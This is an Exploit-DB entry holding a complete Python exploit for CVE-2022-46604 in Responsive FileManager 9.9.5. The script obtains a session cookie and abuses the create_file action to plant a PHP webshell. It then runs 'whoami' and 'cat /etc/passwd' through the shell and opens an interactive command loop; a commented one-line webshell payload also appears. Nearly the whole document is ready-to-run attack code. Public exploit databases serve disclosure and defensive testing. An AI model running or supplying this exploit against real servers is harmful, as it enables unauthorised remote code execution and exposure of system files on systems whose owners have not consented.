Responsive FileManager 9.9.5 - Remote Code Execution (RCE)

EDB-ID:

51251




Platform:

PHP

Date:

2023-04-05


# Exploit Title: Responsive FileManager 9.9.5 - Remote Code Execution (RCE)
# Date: 02-Feb-2023
# Exploit Author: Galoget Latorre (@galoget)
# Vendor Homepage: https://responsivefilemanager.com
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.9.5/responsive_filemanager.zip
# Dockerfile: https://github.com/galoget/ResponsiveFileManager-CVE-2022-46604
# Version: 9.9.5
# Language: Python 3.x
# Tested on:
#  - Ubuntu 22.04.5 LTS 64-bit
#  - Debian GNU/Linux 10 (buster) 64-bit
#  - Kali GNU/Linux 2022.3 64-bit
# CVE: CVE-2022-46604 (Konstantin Burov)


#!/usr/bin/python3
# -*- coding:utf-8 -*-

import sys
import requests
from bs4 import BeautifulSoup
from termcolor import colored, cprint


# Usage: python3 exploit.py <target.site>
# Example: python3 exploit.py 127.0.0.1


def banner():
    """
    Function to print the banner
    """

    banner_text = """
 _____ _____ _____           ___ ___ ___ ___           ___ ___ ___ ___ ___ 
|     |  |  |   __|   ___   |_  |   |_  |_  |   ___   | | |  _|  _|   | | |
|   --|  |  |   __|  |___|  |  _| | |  _|  _|  |___|  |_  | . | . | | |_  |
|_____|\\___/|_____|         |___|___|___|___|           |_|___|___|___| |_|
                                                               
File Creation Extension Bypass in Responsive FileManager ≤ 9.9.5 (RCE)
Exploit Author: Galoget Latorre (@galoget)
CVE Author: Konstantin Burov
"""
    print(banner_text)


def usage_instructions():
    """
    Function that validates the number of arguments.
    The aplication MUST have 2 arguments:
    - [0]: Name of the script
    - [1]: Target site, which can be a domain or an IP Address
    """
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <target.site>")
        print("Example: python3 exploit.py 127.0.0.1")
        sys.exit(0)


def run_command(web_session, webshell_url, command_to_run):
    """
    Function that:
      - Interacts with the webshell to run a command
      - Cleans the response of the webshell
      - Returns the response object and the output of the command
    """
    webshell_response = web_session.get(url = webshell_url + f"?cmd={command_to_run}", headers = headers)
    command_output_soup = BeautifulSoup(webshell_response.text, 'html.parser')
    return (webshell_response, command_output_soup.find('pre').text)


if __name__ == "__main__":
    banner()
    usage_instructions()

    # Change this with the domain or IP address to attack
    if sys.argv[1]:
        host = sys.argv[1]
    else:
        host = "127.0.0.1"

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
    }


    # URL to create a new file
    target_url = f"http://{host}/filemanager/execute.php?action=create_file"

    # Change this to customize the payload (i.e. The content of the malicious file that will be created)
    payload = "<html><body><form method=\"GET\" name=\"<?php echo basename($_SERVER['PHP_SELF']); ?>\"><input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\"><input type=\"SUBMIT\" value=\"Execute\"></form><pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?></pre></body></html>"
    # oneliner_payload = " <?=`$_GET[_]`?>"

    # URL to get a PHPSESSID value
    cookie_url = f"http://{host}/filemanager/dialog.php"

    # New Session
    session = requests.Session()

    # GET request to retrieve a PHPSESSID value
    cprint(f"[*] Trying to get a PHPSESSID at {host}", "blue")
    try:
        session.get(url = cookie_url, headers = headers)
    except:
        cprint(f"[-] Something went wrong when trying to connect to '{host}'.", "red")
        sys.exit(0)

    if session.cookies.get_dict():
        cprint("[+] PHPSESSID retrieved correctly.", "green")
        cprint(f"[!] PHPSESSID: {session.cookies.get_dict()['PHPSESSID']}", "yellow")
    else:
        cprint("[-] Something went wrong when trying to get a PHPSESSID.", "red")

    # Params, rename if you want
    params = {"path": "shell.php", "path_thumb": "../thumbs/shell.php", "name": "shell.txt", "new_content": payload}

    # POST request to create the webshell
    cprint(f"\n[*] Attempting to create a webshell on {host}", "blue")
    response = session.post(url = target_url, headers = headers, data = params)

    # If the status code and the message match, we may have a webshell inside. ;)
    if response.status_code == 200 and response.text == "File successfully saved.":
        # Default webshell path
        shell_url = f"http://{host}/source/shell.php"

        # Verify if the shell was uploaded by running whoami and cat /etc/passwd
        webshell, whoami_output = run_command(session, shell_url, "whoami")
        webshell, passwd_output = run_command(session, shell_url, "cat /etc/passwd")

        # Common users when getting a webshell
        common_users = ["www-data", "apache", "nobody", "apache2", "root", "administrator", "admin"]

        # Verify if the command was executed correctly
        if webshell.status_code == 200 or whoami_output.lower() in common_users or "root:x::" in passwd_output:
            cprint("[+] Webshell uploaded - Enjoy!", "green")
            cprint(f"[!] Webshell available at '{shell_url}' - Enjoy!", "yellow")
            cprint(f"[+] Running `whoami` command: {whoami_output}", "green")


        # Ask to enter into a pseudo-interactive mode with the webshell
        answer = input(colored("Do you want to enter into interactive mode with the webshell? (Y/N): ", "magenta"))

        if answer.upper() == "Y":
            cprint("\n[*] Entering into interactive mode, write 'exit' to quit.\n", "blue")
            command = ""
            while command != "exit":
                command = input(colored(">> ", "cyan")).lower()
                webshell, command_output = run_command(session, shell_url, command)
                if command != "exit":
                    cprint(command_output, "cyan")

        cprint("\n[*] Exiting...Bye!", "blue")

    elif response.status_code == 403 and response.text == "The file is already existing":
        cprint("[-] The file that you're trying to create is already on the server.", "red")

    else:
        cprint(f"[-] The server returned Status Code: '{response.status_code}' and this text: '{response.text}'", "red")